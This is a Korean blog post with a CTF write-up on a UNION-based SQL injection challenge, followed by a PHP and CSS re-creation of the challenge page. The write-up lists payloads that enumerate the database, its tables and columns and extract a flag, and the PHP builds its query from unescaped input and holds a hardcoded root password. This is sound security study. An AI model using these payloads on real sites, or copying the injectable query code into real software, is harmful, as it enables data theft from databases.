Almon Dev

ctf 풀이 ( SQL Injection 2 ) 본문

모의해킹/모의해킹

ctf 풀이 ( SQL Injection 2 )

Almon 2024. 11. 24. 00:50

ctf 문제 풀이

 

SQL Injection 2

 

풀이

1> sql injection 확인

우선 주어진 normaltic을 입력해 봅니다.

 

그 외에 의미 없는 값인 a, b, c와 같은 값을 입력해 봅니다.

ID에는 c가 나타났지만 info는 비어있습니다.

 

a' #을 입력해도 ID는 그대로 뜨는 반면 info는 나타나지 않습니다.

그렇다면 ID는 유저가 입력한 값을 그대로 나타내고, info는 db에서 가져온다고 생각해도 괜찮을 것 같습니다.

 

a'처럼 sql문이 에러가 뜰만한 문자를 보내면 결괏값이 나오지 않는 것으로 봐서는 sql injection이 가능하다고 생각됩니다.

 

2> column 개수 확인하기 ( 6개 )

a' order by 7#에서는 ID값 역시 나오질 않는 것으로 보아 sql문에 에러가 난 것을 알 수 있습니다.

그렇기에 column의 개수는 6개입니다.

 

3> 출력되는 column 위치 찾기

' union select 1,2,3,4,5,6 #를 이용해서 info를 의미하는 column의 index가 6인 것을 알 수 있습니다.

 

4> DB명 알아내기 ( sqli_5 )

' union select 1,2,3,4,5,database() #

database() 함수를 이용해 db의 이름을 받아옵니다.

 

5> Table 알아내기 ( flag_honey, game_user, secret )

' union select 1,2,3,4,5,table_name from information_schema.tables where table_schema='sqli_5' #

이렇게 테이블 이름을 추출할 수 있지만 이것은 1개의 table_name만 가져옵니다.

 

' union select 1,2,3,4,5,group_concat(table_name) from information_schema.tables where table_schema='sqli_5' #

실제 db의 table이 1개만 있는 것은 아니니 group_concat을 이용해서 table_name을 모두 하나의 문자열로 추출합니다.

 

6> Column명 알아내기 ( flag )

' union select 1,2,3,4,5,group_concat(column_name) from information_schema.columns 

where table_schema='sqli_5' and table_name='secret' #

information_schema의 columns 테이블 중 column_name을 가져옵니다.

 

7> 데이터 추출하기

' union select 1,2,3,4,5,group_concat(flag) from secret #

flag column의 값도 여러 개니 group_concat을 이용해서 모두 가져옵니다.

 

+ group_concat을 사용하지 않으면 NONONO만 출력됩니다.

 

+ group_concat을 사용하지 않으면 테이블명에서 flag_honey만을 얻게 됩니다.

 

php로 구현해 보기

css와 html부분은 ctf사이트를 그대로 가져왔습니다.

php에서 sql문의 결괏값이 있으면 info를 출력하고 없으면 info를 빈값으로 출력했습니다.

sql 에러가 발생한 경우에는 아무 결괏값도 출력하지 않습니다.

search.php

<?php
$host = "localhost";
$id = "root";
$password = "admin1234";
$dbname = "mysqli_test";
$dbname_honey = "";

$table = "";
if(isset($_GET['search'])) {
    $conn = mysqli_connect($host, $id, $password, $dbname);
    if($conn) {
        $user_id = $_GET['search'];
        $sql = "select * from sqli_5 where id='$user_id'";
        // echo "$sql";

        try {
            $result = $conn->query($sql);
            $db_info = "";
    
            if($result->num_rows > 0) {
                $row = $result->fetch_array();
                $db_info = $row['info'];
            }
            $table = "<tr>\n<td></td>\n" . "<td>$user_id</td>\n"."<td>*******</td>\n"."<td>*******</td>\n"."<td>$db_info</td>\n"."<td></td>\n";
            $conn->close();
        } catch (Exception $e) {
            
        }
    }
}
?>

<!DOCTYPE html>
<html lang="ko">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>SegFault Game Search Test</title>
    <link rel="stylesheet" href="search.css">
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@4.4.1/dist/css/bootstrap.min.css" rel="stylesheet">
    <script src="https://cdn.jsdelivr.net/npm/bootstrap@4.4.1/dist/js/bootstrap.bundle.min.js"></script>
</head>
<body>
    <div class="container">
    <div class="row">
        <div class="col-lg-12 card-margin">
            <div class="card search-form">
                <div class="card-body p-0">
                    <form id="search-form">
                        <div class="row">
                            <div class="col-12">
                                <div class="row no-gutters">
                                    <div class="col-lg-3 col-md-3 col-sm-12 p-0">
                                        <select class="form-control" id="exampleFormControlSelect1">
                                            <option>User ID</option>
                                        </select>
                                    </div>
                                    <div class="col-lg-8 col-md-6 col-sm-12 p-0">
                                        <input type="text" placeholder="normaltic" class="form-control" id="search" name="search">
                                    </div>
                                    <div class="col-lg-1 col-md-3 col-sm-12 p-0">
                                        <button type="submit" class="btn btn-base">
                                            <svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-search"><circle cx="11" cy="11" r="8"></circle><line x1="21" y1="21" x2="16.65" y2="16.65"></line></svg>
                                        </button>
                                    </div>
                                </div>
                            </div>
                        </div>
                    </form>
                </div>
            </div>
        </div>
    </div>
    <div class="row">
            <div class="col-12">
                <div class="card card-margin">
                    <div class="card-body">
                        <div class="row search-body">
                            <div class="col-lg-12">
                                <div class="search-result">
                                    <div class="result-header">
                                        <div class="row">
                                            <div class="col-lg-6">
                                                <div class="records">Showing: All result</div>
                                            </div>
                                            <div class="col-lg-6">
                                                <div class="result-actions">
                                                    <div class="result-sorting">
                                                        <span>Sort By:</span>
                                                        <select class="form-control border-0" id="exampleOption">
                                                            <option value="1">Relevance</option>
                                                            <option value="2">Names (A-Z)</option>
                                                            <option value="3">Names (Z-A)</option>
                                                        </select>
                                                    </div>
                                                    <div class="result-views">
                                                        <button type="button" class="btn btn-soft-base btn-icon">
                                                            <svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-list">
                                                                <line x1="8" y1="6" x2="21" y2="6"></line>
                                                                <line x1="8" y1="12" x2="21" y2="12"></line>
                                                                <line x1="8" y1="18" x2="21" y2="18"></line>
                                                                <line x1="3" y1="6" x2="3" y2="6"></line>
                                                                <line x1="3" y1="12" x2="3" y2="12"></line>
                                                                <line x1="3" y1="18" x2="3" y2="18"></line>
                                                            </svg>
                                                        </button>
                                                        <button type="button" class="btn btn-soft-base btn-icon">
                                                            <svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-grid">
                                                                <rect x="3" y="3" width="7" height="7"></rect>
                                                                <rect x="14" y="3" width="7" height="7"></rect>
                                                                <rect x="14" y="14" width="7" height="7"></rect>
                                                                <rect x="3" y="14" width="7" height="7"></rect>
                                                            </svg>
                                                        </button>
                                                    </div>
                                                </div>
                                            </div>
                                        </div>
                                    </div>
                                    <div class="result-body">
                                        <div class="table-responsive">
                                            <table class="table widget-26">
                                                <tbody>
                                                    <tr>
                                                        <td>
                                                        </td>
                                                        <td>
                                                            <div class="widget-26-job-title">
                                                                <a href="#">ID</a>
                                                            </div>
                                                        </td>
                                                        <td>
                                                            <div class="widget-26-job-title">
                                                                <a href="#">Level</a>
                                                            </div>
                                                        </td>
                                                        <td>
                                                            <div class="widget-26-job-title">
                                                                <a href="#">Rank Point</a>
                                                            </div>
                                                        </td>
                                                        <td>
                                                            <div class="widget-26-job-title">
                                                                <a href="#">Info</a>
                                                            </div>
                                                        </td>
                                                        <td>

                                                        </td>
                                                    </tr>
                                                    <?=$table ?>
                                                </tbody>
                                            </table>
                                        </div>
                                    </div>
                                </div>
                            </div>
                        </div>

                    </div>
                </div>
            </div>
        </div>
    </div>
</body>
</html>

 

search.css

body {
  background: #dcdcdc;
  margin-top: 20px;
}

.widget-26 {
  color: #3c4142;
  font-weight: 400;
}

.widget-26 tr:first-child td {
  border: 0;
}

.widget-26 .widget-26-job-emp-img img {
  width: 35px;
  height: 35px;
  border-radius: 50%;
}

.widget-26 .widget-26-job-title {
  min-width: 200px;
}

.widget-26 .widget-26-job-title a {
  font-weight: 400;
  font-size: 0.875rem;
  color: #3c4142;
  line-height: 1.5;
}

.widget-26 .widget-26-job-title a:hover {
  color: #68cbd7;
  text-decoration: none;
}

.widget-26 .widget-26-job-title .employer-name {
  margin: 0;
  line-height: 1.5;
  font-weight: 400;
  color: #3c4142;
  font-size: 0.8125rem;
  color: #3c4142;
}

.widget-26 .widget-26-job-title .employer-name:hover {
  color: #68cbd7;
  text-decoration: none;
}

.widget-26 .widget-26-job-title .time {
  font-size: 12px;
  font-weight: 400;
}

.widget-26 .widget-26-job-info {
  min-width: 100px;
  font-weight: 400;
}

.widget-26 .widget-26-job-info p {
  line-height: 1.5;
  color: #3c4142;
  font-size: 0.8125rem;
}

.widget-26 .widget-26-job-info .location {
  color: #3c4142;
}

.widget-26 .widget-26-job-salary {
  min-width: 70px;
  font-weight: 400;
  color: #3c4142;
  font-size: 0.8125rem;
}

.widget-26 .widget-26-job-category {
  padding: 0.5rem;
  display: inline-flex;
  white-space: nowrap;
  border-radius: 15px;
}

.widget-26 .widget-26-job-category .indicator {
  width: 13px;
  height: 13px;
  margin-right: 0.5rem;
  float: left;
  border-radius: 50%;
}

.widget-26 .widget-26-job-category span {
  font-size: 0.8125rem;
  color: #3c4142;
  font-weight: 600;
}

.widget-26 .widget-26-job-starred svg {
  width: 20px;
  height: 20px;
  color: #fd8b2c;
}

.widget-26 .widget-26-job-starred svg.starred {
  fill: #fd8b2c;
}
.bg-soft-base {
  background-color: #e1f5f7;
}
.bg-soft-warning {
  background-color: #fff4e1;
}
.bg-soft-success {
  background-color: #d1f6f2;
}
.bg-soft-danger {
  background-color: #fedce0;
}
.bg-soft-info {
  background-color: #d7efff;
}

.search-form {
  width: 80%;
  margin: 0 auto;
  margin-top: 1rem;
}

.search-form input {
  height: 100%;
  background: transparent;
  border: 0;
  display: block;
  width: 100%;
  padding: 1rem;
  height: 100%;
  font-size: 1rem;
}

.search-form select {
  background: transparent;
  border: 0;
  padding: 1rem;
  height: 100%;
  font-size: 1rem;
}

.search-form select:focus {
  border: 0;
}

.search-form button {
  height: 100%;
  width: 100%;
  font-size: 1rem;
}

.search-form button svg {
  width: 24px;
  height: 24px;
}

.search-body {
  margin-bottom: 1.5rem;
}

.search-body .search-filters .filter-list {
  margin-bottom: 1.3rem;
}

.search-body .search-filters .filter-list .title {
  color: #3c4142;
  margin-bottom: 1rem;
}

.search-body .search-filters .filter-list .filter-text {
  color: #727686;
}

.search-body .search-result .result-header {
  margin-bottom: 2rem;
}

.search-body .search-result .result-header .records {
  color: #3c4142;
}

.search-body .search-result .result-header .result-actions {
  text-align: right;
  display: flex;
  align-items: center;
  justify-content: space-between;
}

.search-body .search-result .result-header .result-actions .result-sorting {
  display: flex;
  align-items: center;
}

.search-body
  .search-result
  .result-header
  .result-actions
  .result-sorting
  span {
  flex-shrink: 0;
  font-size: 0.8125rem;
}

.search-body
  .search-result
  .result-header
  .result-actions
  .result-sorting
  select {
  color: #68cbd7;
}

.search-body
  .search-result
  .result-header
  .result-actions
  .result-sorting
  select
  option {
  color: #3c4142;
}

@media (min-width: 768px) and (max-width: 991.98px) {
  .search-body .search-filters {
    display: flex;
  }
  .search-body .search-filters .filter-list {
    margin-right: 1rem;
  }
}

.card-margin {
  margin-bottom: 1.875rem;
}

@media (min-width: 992px) {
  .col-lg-2 {
    flex: 0 0 16.66667%;
    max-width: 16.66667%;
  }
}

.card-margin {
  margin-bottom: 1.875rem;
}
.card {
  border: 0;
  box-shadow: 0px 0px 10px 0px rgba(82, 63, 105, 0.1);
  -webkit-box-shadow: 0px 0px 10px 0px rgba(82, 63, 105, 0.1);
  -moz-box-shadow: 0px 0px 10px 0px rgba(82, 63, 105, 0.1);
  -ms-box-shadow: 0px 0px 10px 0px rgba(82, 63, 105, 0.1);
}
.card {
  position: relative;
  display: flex;
  flex-direction: column;
  min-width: 0;
  word-wrap: break-word;
  background-color: #ffffff;
  background-clip: border-box;
  border: 1px solid #e6e4e9;
  border-radius: 8px;
}

 

normaltic
abc
a'

 

'모의해킹 > 모의해킹' 카테고리의 다른 글

ctf 풀이 (SQL Injection 3)  (2) 2024.11.29
모의해킹 공부 7주차 (SQL Injection)  (0) 2024.11.29
ctf 풀이 (SQL Injection 1)  (0) 2024.11.23
모의해킹 공부 (6주차 정리)  (0) 2024.11.22
ctf 풀이 (Pin Code Crack)  (2) 2024.11.20